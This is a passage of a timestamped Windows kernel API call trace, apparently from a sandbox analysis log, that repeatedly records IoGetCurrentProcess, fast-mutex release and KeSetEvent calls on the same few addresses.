ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0171.862] IoGetCurrentProcess () returned 0xffffe00001078440 [0171.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0171.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0171.862] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0172.846] IoGetCurrentProcess () returned 0xffffe00001078440 [0172.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0172.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0172.847] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0173.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.378] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0173.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.442] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.565] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.565] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.815] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.815] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.940] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.940] IoGetCurrentProcess () returned 0xffffe00001078440 [0173.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.065] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.065] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.190] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.190] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.315] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.315] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0174.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.097] IoGetCurrentProcess () returned 0xffffe00001078440 [0175.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.097] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0175.159] IoGetCurrentProcess () returned 0xffffe00001078440 [0175.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.159] IoGetCurrentProcess () returned 0xffffe00001078440 [0175.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.221] IoGetCurrentProcess () returned 0xffffe00001078440 [0175.221] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.221] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.221] IoGetCurrentProcess () returned 0xffffe00001078440 [0175.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.284] IoGetCurrentProcess () returned 0xffffe00001078440 [0175.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.284] IoGetCurrentProcess () returned 0xffffe00001078440 [0175.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0175.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0175.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0175.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0177.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0177.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0177.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0177.755] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0177.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0177.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0177.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0177.817] IoGetCurrentProcess () returned 0xffffe00001078440 [0177.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0177.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0177.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0177.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0177.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0177.879] IoGetCurrentProcess () returned 0xffffe00001078440 [0177.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0177.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0177.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0177.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0177.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0177.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0177.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0177.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.004] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.065] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.065] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.190] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.190] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.315] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.315] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.443] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.444] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0178.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.020] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.021] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0179.083] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.083] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.144] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.145] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.268] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.269] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.331] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.331] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.394] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.394] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.457] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.582] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.643] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.706] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.707] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.768] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.768] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.831] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.832] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.895] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.895] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.895] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.895] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.957] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.958] IoGetCurrentProcess () returned 0xffffe00001078440 [0179.958] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.958] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0180.019] IoGetCurrentProcess () returned 0xffffe00001078440 [0180.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0180.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0180.020] 